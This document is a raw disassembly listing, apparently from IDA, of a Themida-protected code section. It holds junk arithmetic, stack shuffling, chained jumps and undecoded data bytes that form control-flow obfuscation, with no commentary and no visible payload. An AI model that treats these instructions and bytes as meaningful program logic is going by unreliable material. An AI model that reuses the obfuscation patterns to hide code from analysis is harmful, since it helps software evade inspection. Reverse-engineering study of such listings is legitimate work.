sub ebx, 0ABB8C061h
add edi, ebx
pop ebx
sub edi, 63F43C8Fh
sub edi, 6B075561h
jmp loc_54836D
; ---------------------------------------------------------------------------
dw 0EB83h
dd 241C8704h, 241C895Ch, 53179BBh, 4E3C120h, 25ADE381h
dd 42E92DFFh
db 77h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54786F: ; CODE XREF: Themida_:00548824j
pop ebx
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
sub esp, 4
mov [esp], ebp
jmp loc_54B4A7
; ---------------------------------------------------------------------------
dw 4B8h
dd 81000000h, 0EE407FEBh, 56C30160h, 0C1367DBEh, 4B566865h
dd 2C890000h, 0A02BD24h, 0EE01FB2Dh, 0FFD7C6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5478A9: ; CODE XREF: Themida_:0054EEC7j
mov edx, esp
push esi
mov esi, 21582425h
or esi, 73796B41h
sub esi, 73796F61h
add edx, esi
pop esi
push edi
mov edi, 785070F7h
push ebx
mov ebx, 87AF8F0Dh
sub edi, 3E074B0Dh
jmp loc_546B16
; ---------------------------------------------------------------------------
db 54h
dd 5624048Fh, 4BEh, 24740100h, 2F8AE904h, 8B660000h, 68572404h
dd 76DEh, 50242489h, 4B8h, 24440100h, 34FF5804h, 243C8B24h
dd 0FFD651E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54790D: ; CODE XREF: Themida_:0054F8DDj
xor [esp], edi
xor edi, [esp]
pop esp
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
push ebx
push esp
jmp loc_543B4E
; ---------------------------------------------------------------------------
loc_547928: ; CODE XREF: Themida_:0054520Dj
push 21F4h
jmp loc_549593
; ---------------------------------------------------------------------------
dw 0E381h
dd 52922D00h, 0E381DBF7h, 667649F3h, 29ECE9h, 0B9515700h
dd 6AF34BBAh, 0C181D1F7h, 8BD94DBEh, 0FFECFFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_547959: ; CODE XREF: Themida_:00543B67j
mov [esp], eax
sub esp, 4
mov [esp], edi
push ebx
jmp loc_544227
; ---------------------------------------------------------------------------
dd 0CE450C68h, 243C8B27h, 8904EC83h, 0A4E9242Ch, 81FFFFD9h
dd 42404h, 34FF0000h, 24048B24h, 8104C483h, 4C4h, 63C8E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547996: ; CODE XREF: Themida_:00548A3Cj
mov ebx, 387C16BAh
jmp loc_545539
; ---------------------------------------------------------------------------
dd 42474FFh, 24048F5Ah, 0E924248Bh, 0FFFFC070h, 4C481h
dd 0B7E90000h
db 16h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5479BB: ; CODE XREF: Themida_:0054B251j
mov ebx, [esp]
add esp, 4
add edi, edx
mov edx, [esp]
add esp, 4
xor eax, edi
pop edi
add ebp, eax
pop eax
xchg ebp, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_543A20
; ---------------------------------------------------------------------------
aNh db 'hÛ!',0
align 4
dd offset dword_457444+57A5h
db 0
; ---------------------------------------------------------------------------
loc_5479ED: ; CODE XREF: Themida_:0054FB53j
inc ecx
inc ecx
jmp loc_5490EC
; ---------------------------------------------------------------------------
dd 0B0240489h, 888F04C5h, 24048BC6h, 0E904C483h, 146Ah
dd 0C006E0C0h, 0AE3408E0h, 28C4C280h, 0C4EA80C2h, 0DB64E958h
dd 431FFFFh, 24043324h, 6B3EE9h
db 0
; ---------------------------------------------------------------------------
loc_547A29: ; CODE XREF: Themida_:0054BC15j
xor ecx, 1CEC5D48h
push eax
jmp loc_545486
; ---------------------------------------------------------------------------
db 0FFh, 77h, 1Ch
dd 1858669Dh, 0E99C2404h, 0FFFFBFDCh, 8704C483h, 505C243Ch
dd 0E904EC83h, 57ADh, 34FFFB01h, 0C4815F24h, 4, 4EB81h
dd 1C870000h, 4895C24h, 245DB824h, 0C5897B9Bh, 0D2EE9h
db 0
; ---------------------------------------------------------------------------
loc_547A79: ; CODE XREF: Themida_:005494C9j
not bh
xor bh, 0DEh
not bh
sub bh, 42h
sub bh, 30h
jmp loc_54A007
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFFBF90h, 2414335Fh, 33241431h, 248B2414h, 0C8B6624h
dd 0E7895724h, 15BA5253h, 0F7123D27h, 362EE9DAh, 8B660000h
dd 54512404h, 81240C8Bh, 4C4h, 88B85000h, 0F70C036Eh, 53E948D0h
dd 0FFFFFFDDh, 0E9582434h, 0C21h
; ---------------------------------------------------------------------------
loc_547AD8: ; CODE XREF: Themida_:0054CD89j
pop esi
jmp loc_54C1E2
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 4C48124h, 0FF000000h, 4DE91C77h, 0B9FFFFF9h, 4380244Fh
dd 2451BD55h, 0EF894380h, 8BCF295Dh, 0C481240Ch, 4, 3E61BA52h
dd 0D001114Fh, 0D7DEE95Ah, 0F801FFFFh, 0F5B685Fh, 79E90000h
db 43h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547B23: ; CODE XREF: Themida_:0054B395j
add edi, esi
pop esi
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
or edx, eax
jmp loc_54EAF9
; ---------------------------------------------------------------------------
loc_547B3D: ; CODE XREF: Themida_:005483C4j
pop esi
push edi
push 72D45F85h
pop edi
and ebx, edi
pop edi
add ebx, 0CF83BC80h
and eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
shr eax, 12h
xor eax, ecx
xor eax, edx
xor edx, eax
xor eax, edx
jmp loc_544A32
; ---------------------------------------------------------------------------
loc_547B67: ; CODE XREF: Themida_:0054EB1Bj
sub esi, edi
pop edi
push eax
mov eax, 24h
add eax, edi
push 816h
mov [esp], edx
mov edx, 0
jmp loc_54F712
; ---------------------------------------------------------------------------
loc_547B84: ; CODE XREF: Themida_:0054D9DDj
xor edx, edi
xor edi, edx
xchg edi, [esp]
push dword ptr [esp]
pop eax
jmp loc_54BF1F
; ---------------------------------------------------------------------------
dd 0E951E789h, 1344h, 2434875Ah, 10B9E95Ch, 8FB90000h
dd 0E931E87Fh, 2B37h, 585DEE01h, 601CBB53h, 0DE29AA1Ch
dd 6AEDE95Bh, 595E0000h, 4C181h, 4CE90000h, 50000076h
dd 0B061B353h, 5BD800E5h, 0B353C8FEh, 5BD80846h, 74E9D8F6h
dd 40000049h, 5B04E9h, 1C77FF00h, 411589Dh, 25E99C24h
dd 81FFFFBEh, 20E42434h, 815B30BCh, 0BC20E4F3h, 0D8315F30h
dd 83241C8Bh, 0C33104C4h, 576468h, 24048900h, 0FFBDFFE9h
dd 0C875EFFh, 0E896E924h, 0C781FFFFh, 4, 4C781h, 3C870000h
dd 0EC815C24h, 4, 0E9243C89h, 0FFFFFD20h, 0C004C483h, 0D2F603EAh
dd 0FE1CB551h, 0DEE580C5h, 8082C580h, 0ED800EF5h, 59EA307Bh
dd 0E9A6E280h, 723Ah, 1A47E95Eh, 77FF0000h, 59669D1Ch
dd 9C241CD2h, 0FFBD9FE9h, 0E78957FFh, 4C781h, 0C7810000h
dd 4, 6349E9h, 213A6800h, 555D6DEFh, 7B0FBA52h, 54011D78h
dd 5E5A0424h, 1938E951h, 525A0000h, 0D2F6AEB2h, 2414F652h
dd 35EDE95Ah, 4870000h, 4895C24h, 5E08924h, 4, 33B368h
dd 241C8900h, 7C2DE9h
db 0
; ---------------------------------------------------------------------------
loc_547CD9: ; CODE XREF: Themida_:0054780Bj
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
dd 51ADC361h, 0F4638CB9h, 0F1F18146h, 0E903A911h, 40F5h
dd 0FB68C201h, 89000072h, 73B82404h, 13CE364h, 7CA3E9C2h
dd 8F5A0000h, 895C2404h, 1B68242Ch, 0E9000007h, 6FB6h
; ---------------------------------------------------------------------------
loc_547D18: ; CODE XREF: Themida_:00544C85j
and eax, ebx
mov ebx, [esp]
push edi
mov edi, esp
sub esp, 4
mov [esp], esi
mov esi, 3D1B78BCh
add esi, 38A46CD8h
jmp loc_54F564
; ---------------------------------------------------------------------------
db 81h, 0C9h, 50h
dd 0C1509138h, 0E18103E1h, 14F85237h, 468BE56h, 0E6C165DEh
dd 5EEC107h, 69B85046h, 8161E403h, 927ACEEEh, 0E9C62903h
dd 0FFFFBF5Fh, 5859CF88h, 3BA68h, 0F03CE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547D76: ; CODE XREF: Themida_:0054903Fj
add ax, bx
jmp loc_547770
; ---------------------------------------------------------------------------
dw 4E5Ah
dd 8105EEC1h, 30BB0AEEh, 5EF50103h, 8704C583h, 248B242Ch
dd 24043124h, 277DE9h, 0E9F18800h, 5F14h, 0C9242C81h, 16BC601h
dd 4812404h, 0C601C924h, 0EFB8506Bh, 8168080Ch, 24042444h
dd 2904F550h, 0E9042444h, 0FFFFBCC0h, 0F528E957h, 0A6B7FFFFh
dd 1114E9h, 0E9515A00h, 0F65h, 0C781DF01h, 195021D9h, 0C31E95Bh
dd 0D3290000h, 444CC381h, 82E924B5h
db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547DFB: ; CODE XREF: Themida_:00546EC8j
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_54E110
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 9136D0BEh, 5EF101A5h, 0F0DC281h, 0CA015199h, 7DD9BD55h
dd 0F58117C8h, 465172D4h, 8B5DEA29h, 0C481240Ch, 4, 0EA81C201h
dd 73EA35B8h, 0FFBBCBE9h, 885350FFh, 5BDC88D3h, 5228E9h
dd 5BFA0000h, 0E95AD000h, 30C0h
; ---------------------------------------------------------------------------
loc_547E6C: ; CODE XREF: Themida_:0054F80Aj
xor edi, 0B7E9C003h
jmp loc_545AE9
; ---------------------------------------------------------------------------
loc_547E77: ; CODE XREF: Themida_:0054E968j
xchg eax, [esp]
pop esp
push ebp
mov ebp, 60C82B26h
not ebp
push ebx
jmp loc_54E272
; ---------------------------------------------------------------------------
db 0BDh, 4, 0
dd 0EB010000h, 4B46E95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547E96: ; CODE XREF: Themida_:005484DFj
pop edi
push ebp
mov ebp, 4
add edi, ebp
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push 79D1h
mov [esp], esi
jmp loc_5499B5
; ---------------------------------------------------------------------------
aAhF db 'Ah F',0
dd 24348900h, 8D1614BEh, 90FE94Bh, 0EC810000h, 4, 0B4240489h
dd 0E9CCFE8Ah, 467Eh, 0C2AD7BAh, 57BF57AFh, 16AE25Ch, 0D6295FFEh
dd 5C57EE81h, 315A6AE2h, 4DE95EF1h, 83000050h, 0DFF604C4h
dd 38E4E9h, 81425B00h, 0FF5DD0F2h, 5AD7017Bh, 2E4AE9h
dd 48B6600h, 2C6EE924h, 0F2810000h, 49E20D98h, 0E906E2C1h
dd 36F5h, 4240483h, 4C6815Eh, 50000000h, 33F5EB8h, 3F5A2D40h
dd 0C6014003h, 0BCAFE958h, 0EE81FFFFh, 0D8AFB5B4h, 348BF189h
dd 4C48124h, 0E9000000h, 257Eh
; ---------------------------------------------------------------------------
loc_547F68: ; CODE XREF: Themida_:0054D5F6j
sub dh, 13h
push ax
mov al, 7Ah
jmp loc_54C544
; ---------------------------------------------------------------------------
loc_547F74: ; CODE XREF: Themida_:0054A852j
pop ebx
xor [esp+4], ecx
mov ecx, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
push edx
jmp loc_54BF39
; ---------------------------------------------------------------------------
dw 0C483h
dd 0B0F68104h, 5F5DBF37h, 8904EC83h, 5E5B2434h, 0FFBA7BE9h
dd 242C89FFh, 22BAE9h
db 0
; ---------------------------------------------------------------------------
loc_547FAD: ; CODE XREF: Themida_:00545025j
push 531Ch
mov [esp], ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
shr eax, 0Bh
xor ecx, eax
sub esp, 4
mov [esp], edi
push 1BAFh
mov [esp], ebx
pop edi
push 7684h
jmp loc_54A485
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 51000000h, 4B9h, 0FFCD0100h, 81592434h, 4C4h, 4BF5700h
dd 1000000h, 2C335FFDh, 9BE924h, 0D9F70000h, 0C3A3F181h
dd 0EF818235h, 22EC4DEDh, 0C781CF01h, 22EC4DEDh, 3754E9h
db 0
; ---------------------------------------------------------------------------
loc_548029: ; CODE XREF: Themida_:0054467Bj
sub eax, edi
pop edi
jmp loc_54D24D
; ---------------------------------------------------------------------------
db 81h, 0C3h, 0E2h
dd 812F457Fh, 4528F0C2h, 6C28105h, 295E853Ah, 6EA81C2h
dd 835E853Ah, 3C8904ECh, 0B5685024h, 8B0D9D21h, 0C4832404h
dd 1FB0E904h, 0E9530000h, 20F4h
; ---------------------------------------------------------------------------
loc_548068: ; CODE XREF: Themida_:00545A92j
inc edi
add edi, 0B198DE2Dh
add ebp, edi
pop edi
jmp loc_54A7CC
; ---------------------------------------------------------------------------
aNh0 db 'h=0',0
dd 24348900h, 0D91330BEh, 464AE976h, 48B0000h, 0D158E924h
dd 0C481FFFFh, 4, 4CF1E9h, 0C1815900h, 43AC28ADh, 0FFCEF5E9h
dd 242C31FFh, 8B242C33h, 0BE0F2424h, 52EF68C8h, 0C890000h
dd 0B95EE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5480C2: ; CODE XREF: Themida_:0054B99Cj
push 1CEFh
mov [esp], esp
add dword ptr [esp], 4
pop ebp
jmp loc_54A953
; ---------------------------------------------------------------------------
loc_5480D7: ; CODE XREF: Themida_:0054C8ABj
and eax, ecx
jmp loc_54F221
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 52240C89h, 0EE8046B6h, 79E1E9ECh, 0EF810000h, 6D6F04E4h
dd 0BC5685Bh, 0D5E90000h
db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548103: ; CODE XREF: Themida_:0054679Ej
shl ecx, 1
sub ecx, 171B0B14h
shr ecx, 6
jmp loc_5449E8
; ---------------------------------------------------------------------------
aP_la@s6l db 'P¸Ù_«a@é6l',0
db 0
; ---------------------------------------------------------------------------
loc_54811F: ; CODE XREF: Themida_:00549661j
mov ebx, [esp]
push esi
jmp loc_545861
; ---------------------------------------------------------------------------
loc_548128: ; CODE XREF: Themida_:005499F2j
push ebx
sub dword ptr [esp], 0A967B45h
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_545B35
; ---------------------------------------------------------------------------
aMaOaqj db '·¬€Ço€ïj',0
dw 80CFh
dd 0EF806AC7h, 240C8B6Fh, 8804C483h, 241C8BF9h, 4C481h
dd 0A9E90000h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548167: ; CODE XREF: Themida_:005468C6j
neg ebx
xor ebx, 51593359h
or ebx, 71A95B80h
push ebp
mov ebp, 0C522069h
jmp loc_545E04
; ---------------------------------------------------------------------------
dd 80F4C680h, 0F0007DC6h, 0FFE17FE9h, 4EC81FFh, 89000000h
dd 0BB53240Ch, 5EB466EDh, 0F708E3C1h, 5E3C1D3h, 4307EBC1h
dd 0EB89EB81h, 17E997AFh, 29000064h, 2FE95FF9h
db 5Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5481BB: ; CODE XREF: Themida_:0054B16Bj
push ecx
mov ecx, 0EC56AF8h
xor ecx, 7DFE3BF2h
shl ecx, 5
add ecx, 0F4EF04C0h
sub edi, ecx
pop ecx
inc edi
shr edi, 1
shl edi, 7
xor edi, 150B5504h
add esi, edi
jmp loc_54A6D8
; ---------------------------------------------------------------------------
dw 0D901h
dd 1CD2E981h, 1C8B1B43h, 4C48124h, 56000000h, 41AFE9h
dd 7DC18100h, 0E9379858h, 304Eh, 4C381h, 0C3830000h, 241C8704h
dd 4720E9h, 33BE5600h, 81547F5Fh, 0FAAE55C6h, 5EF389B5h
dd 0E95BDF29h, 7521h, 4467EA81h, 0EAC16D02h, 28F3E906h
dd 0EC810000h, 4, 54243489h, 2142E95Eh, 0BB530000h, 0C9D43FCh
dd 55BD901h, 1EE523E4h, 0FFE77AE9h, 24048BFFh, 0E904C483h
dd 4C6Dh, 575ABF57h, 0B850081Bh, 0C492E12h, 0EE4ED72Dh
dd 3CFA0D5Fh, 0D8F71DB3h, 2414F750h, 7BE94058h, 89FFFFCDh
dd 4BF243Ch, 1000000h, 0BF575FFEh, 2, 2BAEE9h
db 0
; ---------------------------------------------------------------------------
loc_5482A5: ; CODE XREF: Themida_:005467EBj
mov bx, 1B79h
jmp loc_549038
; ---------------------------------------------------------------------------
dw 0E189h
dd 0FFFE5EE9h, 335E5FFFh, 0C31240Ch, 2951E924h, 3C870000h
dd 34895C24h, 2BE24h, 0BD550000h, 40285C78h, 28C2EB81h
dd 0EB297A0Fh, 28C2C381h, 15D7A0Fh, 34BF57F3h, 686F1A5Eh
dd 0
dd 9C240481h, 293D5B33h, 2C81243Ch, 5B339C24h, 47475F3Dh
dd 32E9DFF7h, 1000051h, 4335AD0h, 24043124h, 8B240433h
dd 0C1382424h, 0B6FEE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548322: ; CODE XREF: Themida_:0054521Aj
mov edi, [esp]
push eax
push esp
jmp loc_54B006
; ---------------------------------------------------------------------------
dd 83241C8Bh, 0D80004C4h, 0FE49B252h, 3C38E9C2h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54833E: ; CODE XREF: Themida_:0054C835j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
shr eax, 0Ch
xor eax, ecx
push 6634h
jmp loc_549FA4
; ---------------------------------------------------------------------------
dd 4C181h, 0E9810000h, 4, 0FFCA03E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54836D: ; CODE XREF: Themida_:0054784Dj
add edi, ecx
jmp loc_546D85
; ---------------------------------------------------------------------------
loc_548374: ; CODE XREF: Themida_:0054DF20j
pop esi
mov eax, edx
pop edx
push edx
mov edx, 8DC3C16h
jmp loc_54A2F4
; ---------------------------------------------------------------------------
loc_548383: ; CODE XREF: Themida_:0054D1E0j
push 33725474h
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_544B1B
; ---------------------------------------------------------------------------
loc_5483A5: ; CODE XREF: Themida_:00545371j
mov esi, [esp]
add esp, 4
and ebx, 64D071E2h
shr ebx, 6
sub esp, 4
mov [esp], esi
mov esi, 34BB2339h
xor ebx, esi
jmp loc_547B3D
; ---------------------------------------------------------------------------
db 66h, 58h, 28h
dd 240C8BEBh, 0FFB96CE9h, 0E9D601FFh, 321Eh, 1C8BDA29h
dd 0E2895224h, 4C281h, 21E90000h, 0FF000035h, 8B042474h
dd 0C4832404h, 24048F04h, 0FFC889E9h, 14875DFFh, 0B8B5E924h
dd 478FFFFFh, 0B60EE940h, 489FFFFh, 0B606E924h, 0BE56FFFFh
dd 25DF311Bh, 0D1D6F746h, 67CE81EEh, 8127CB32h, 24888DC6h
dd 5EF78990h, 3043BF57h, 0FD01294Bh, 0E9FD015Fh, 16DAh
dd 0E99C5166h, 0FFFFB9A0h, 2D58C101h, 3B6C3746h, 4605C829h
dd 593B6C37h, 4867F405h, 56D82928h, 0FFC521E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_548469: ; CODE XREF: Themida_:0054E66Dj
pop ecx
sub ebx, 7B45B48Eh
add edi, ebx
jmp loc_54938B
; ---------------------------------------------------------------------------
db 52h
dd 4BAh, 5AD60100h, 4B951h, 0CE010000h, 183DE9h, 2DBE6800h
dd 0F7596E16h, 4BF181D1h, 89D3489Ch, 0DE959CDh
db 6Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5484A3: ; CODE XREF: Themida_:0054D3F6j
mov [esp], edi
mov edi, 60977B8Ah
push ebx
mov ebx, 7D8F3044h
xor edi, ebx
pop ebx
push edi
xor dword ptr [esp], 2653144Bh
pop edx
xor edx, 2653144Bh
mov edi, [esp]
add esp, 4
jmp loc_54CE10
; ---------------------------------------------------------------------------
loc_5484CE: ; CODE XREF: Themida_:0054CD79j
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push esp
jmp loc_547E96
; ---------------------------------------------------------------------------
dd 5DEB295Ah, 5A7BBE56h, 8BE91403h, 0AD000043h, 0ED08072Dh
dd 1BD6E914h, 48F0000h, 24048124h, 4, 0E9E9575Bh, 59000047h
dd 2474FF56h, 48F5E04h, 0B9E95C24h, 83FFFFBFh, 0F32904C4h
dd 0A0C3815Eh, 13C8E0Ah, 0F0E950C3h, 5E00003Ah, 4C681h
dd 0C6830000h, 24348704h, 4EC835Ch, 68243C89h, 7247h, 56240489h
dd 0A47357BEh, 5EF08945h, 6852D8F7h, 29A220DAh, 4E2C15Ah
dd 0FFE9A3E9h, 0C2815AFFh, 4, 3304EA83h, 14312414h, 24143324h
dd 8924248Bh, 4812424h, 424h, 58685A00h, 89000036h, 4BB241Ch
dd 1000000h, 0C2815BDAh, 2, 31241433h, 14332414h, 1C1AE924h
dd 89660000h, 69E92404h
db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5485B7: ; CODE XREF: Themida_:005490F4j
mov ecx, [esp]
add esp, 4
add edi, ebx
add edi, 4793757Fh
pop ebx
std
push 5F6Ch
jmp loc_5472DF
; ---------------------------------------------------------------------------
dd 25D0F75Bh, 7FF86441h, 4352E9h, 0E9F10100h, 0FFFFF639h
dd 582434FFh, 51EA68h, 242C8900h, 8956E589h, 4C681E6h
dd 83000000h, 348704EEh, 67E95C24h, 66FFFFCBh, 0E924048Bh
dd 0FFFFD512h, 4C481h
db 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add esi, 4
push eax
push 7B4Eh
mov [esp], ebp
mov ebp, 4FEE4BA9h
mov eax, 4FEE4BABh
xor eax, ebp
pop ebp
add esi, eax
mov eax, [esp]
push edi
mov edi, esp
jmp loc_54899D
; ---------------------------------------------------------------------------
db 89h
dd 4C681E6h, 51000000h, 5A4F68h, 0B773E900h, 5758FFFFh
dd 42474FFh, 24048F5Fh, 2434FF5Ch, 83240C8Bh, 2EE904C4h
dd 5E000006h, 8B1C5709h, 8FE92414h
db 6Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54868B: ; CODE XREF: Themida_:0054BA8Fj
mov [esp], edx
push 7550h
jmp loc_54507B
; ---------------------------------------------------------------------------
loc_548698: ; CODE XREF: Themida_:00545F09j
mov eax, [esp]
push eax
jmp loc_545FA7
; ---------------------------------------------------------------------------
loc_5486A1: ; CODE XREF: Themida_:00546FBBj
mov [esp], eax
push esp
pop eax
push edi
mov edi, 1D7D7A8Eh
sub edi, 1D7D7A8Ah
add eax, edi
mov edi, [esp]
add esp, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
not ebp
xchg ebp, edx
jmp loc_54CAC2
; ---------------------------------------------------------------------------
db 83h
dd 1C8704C4h, 24248B24h, 8B2434FFh, 0B4E92404h, 89000013h
dd 0E6892434h, 0EFCCE957h, 0C781FFFFh, 4, 472DE9h, 0E9545000h
dd 0FFFFCCC0h, 0EA81EA87h, 44C777F0h, 0B8EA8142h, 0E9A744A8h
dd 2510h, 38454D35h, 58C63114h, 0DCD5E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548722: ; CODE XREF: Themida_:0054BBC4j
sub [esp+4], ebx
pop ebx
pop eax
jmp loc_54B0C7
; ---------------------------------------------------------------------------
db 50h, 0B8h, 0D4h
dd 251E471Ch, 175610CEh, 0E9D0F748h, 0FFFFDED1h, 0D358EF68h
dd 0D7F75F0Ah, 3889E781h, 0EF81669Fh, 640C1FFEh, 3C8BFE89h
dd 4C48124h, 2D000000h, 4484354Fh, 720AE9h, 240C8900h
dd 0FFF435E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_548771: ; CODE XREF: Themida_:0054D695j
add eax, 6EE447DCh
pop ebp
sub ebx, eax
push dword ptr [esp]
jmp loc_54C69E
; ---------------------------------------------------------------------------
loc_548781: ; CODE XREF: Themida_:00548D51j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_54AA8E
; ---------------------------------------------------------------------------
dw 7CBAh
dd 0E93C445Fh, 0FFFFCFCBh, 100868h, 24148900h, 9E95355h
dd 0FF00003Bh, 0E9582434h, 3836h, 89243489h, 0FCBDE9E6h
dd 0ADB2FFFFh, 281CF280h, 24148BD3h, 0E904C483h, 40B8h
dd 1D2ABE56h, 65052815h, 533D879h, 6AE4733Ah, 466BE9h
dd 5EF13100h, 7F37172Dh, 0E9C80149h, 2DA0h, 4C381h, 1C870000h
dd 24248B24h, 0FDE5EE81h, 8B5648A0h, 0DDE9240Ch, 0FF000029h
dd 669D1C77h, 2414D259h, 0B206E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54881A: ; CODE XREF: Themida_:0054DB27j
mov eax, 210611Fh
sub ebx, eax
pop eax
and eax, ebx
jmp loc_54786F
; ---------------------------------------------------------------------------
loc_548829: ; CODE XREF: Themida_:00549CC5j
add eax, 3B8746C0h
push 7078h
jmp loc_545AFB
; ---------------------------------------------------------------------------
dd 592434FFh, 72ABE9h, 1A00BB00h, 0D3F70E43h, 0D4BCEB81h
dd 68E9AA59h, 8B000058h, 0C481242Ch, 4, 6CFC685Eh, 1C890000h
dd 68525724h, 62322525h, 3EAC15Ah, 1EA81h, 0C2810000h
dd 32CEDACEh, 4F5AD789h, 0C783D7F7h, 621B68FFh, 1C890000h
dd 0F987E924h, 0B951FFFFh, 26C3017Ch, 5508E9C1h, 6918F2BDh
dd 8BE93154h, 0C483242Ch, 0D5F18104h, 5256D662h, 6646DEBAh
dd 5AD101FDh, 0C8BC801h, 4C48324h, 42Dh, 24048700h, 2434895Ch
dd 8904EC83h, 4832424h, 815E0424h, 4C6h, 2C68100h, 33000000h
dd 34312434h, 24343324h, 0C8B665Ch, 0FF545624h, 73E92434h
dd 8100005Ah, 4EDh, 242C8700h, 2434895Ch, 45E668h, 243C8900h
dd 0BFh, 15E5E900h, 575B0000h, 4BFh, 0F12EE900h, 0EC81FFFFh
dd 4, 54243489h, 2468535Eh, 0E968E83Bh, 4197h
; ---------------------------------------------------------------------------
loc_54893C: ; CODE XREF: Themida_:005474C1j
mov ebx, 4
jmp loc_54B568
; ---------------------------------------------------------------------------
dw 248Bh
dd 66E1F624h, 57CCB60Fh, 0EAE9E789h
db 60h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548957: ; CODE XREF: Themida_:0054D6C8j
mov edx, esi
pop esi
jmp loc_544B8B
; ---------------------------------------------------------------------------
loc_54895F: ; CODE XREF: Themida_:00547365j
pop edx
add edi, 2
jmp loc_545C1F
; ---------------------------------------------------------------------------
loc_54896B: ; CODE XREF: Themida_:0054AF91j
sub ebp, 31090B1Eh
jmp loc_54D69A
; ---------------------------------------------------------------------------
dw 6658h
dd 30F0B151h, 0FE5966CAh, 5D59E9CAh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548986: ; CODE XREF: Themida_:005476B5j
mov [esp], esi
push 81094Ah
mov esi, [esp]
jmp loc_54F442
; ---------------------------------------------------------------------------
aPSM db 'P^éÏM',0
db 0
; ---------------------------------------------------------------------------
loc_54899D: ; CODE XREF: Themida_:0054864Ej
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
xchg esi, [esp]
pop esp
imul cx, ax
push cx
pushf
jmp loc_543A20
; ---------------------------------------------------------------------------
dw 5558h
dd 0AA2AE6BDh, 81DDF74Ch, 4ECh, 243C8900h, 994E55BFh, 5FFD2170h
dd 3C82E9h
db 0
; ---------------------------------------------------------------------------
loc_5489D9: ; CODE XREF: Themida_:00548A7Bj
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_54502A
; ---------------------------------------------------------------------------
dw 55ADh
dd 0EE37E7BDh, 0BDED8148h, 2920D91Ah, 86055DE8h, 2979044Eh
dd 4E862DD8h, 0C1E97904h, 0BFFFFFFDh, 4, 575FF801h, 8904EC83h
dd 0E5E92404h, 81FFFFD7h, 2C7h, 34BA6800h, 3C890000h, 2474FF24h
dd 243C8B04h, 498CE9h
db 0
; ---------------------------------------------------------------------------
loc_548A39: ; CODE XREF: Themida_:0054779Cj
mov [esp], ebx
jmp loc_547996
; ---------------------------------------------------------------------------
db 89h, 30h, 8Bh
dd 0C4832434h, 0AFD2E904h, 0C601FFFFh, 469DEE81h, 0E9526FA9h
dd 0FFFFFD32h, 0E9240C89h, 0A87h
; ---------------------------------------------------------------------------
loc_548A64: ; CODE XREF: Themida_:0054EF95j
mov esi, ebx
pop ebx
add ebx, 65125BDAh
add ebx, esi
sub ebx, 65125BDAh
pop esi
push ebx
push dword ptr [esp+4]
jmp loc_5489D9
; ---------------------------------------------------------------------------
dd 0F20FE955h, 0FD01FFFFh, 0FFD7D0E9h, 243C89FFh, 8904EC83h
dd 4832424h, 555F0424h, 6F3D27BDh, 15D4E95Fh, 0CD010000h
dd 242C3359h, 33242C31h, 248B242Ch, 0B30F6624h, 0E99C2404h
dd 0FFFFAF60h
; ---------------------------------------------------------------------------
loc_548AC0: ; CODE XREF: Themida_:0054C721j
push 7184h
mov [esp], ecx
push 620A0072h
mov ecx, [esp]
add esp, 4
shr ecx, 6
push ecx
xchg eax, [esp]
push eax
jmp loc_54AEA0
; ---------------------------------------------------------------------------
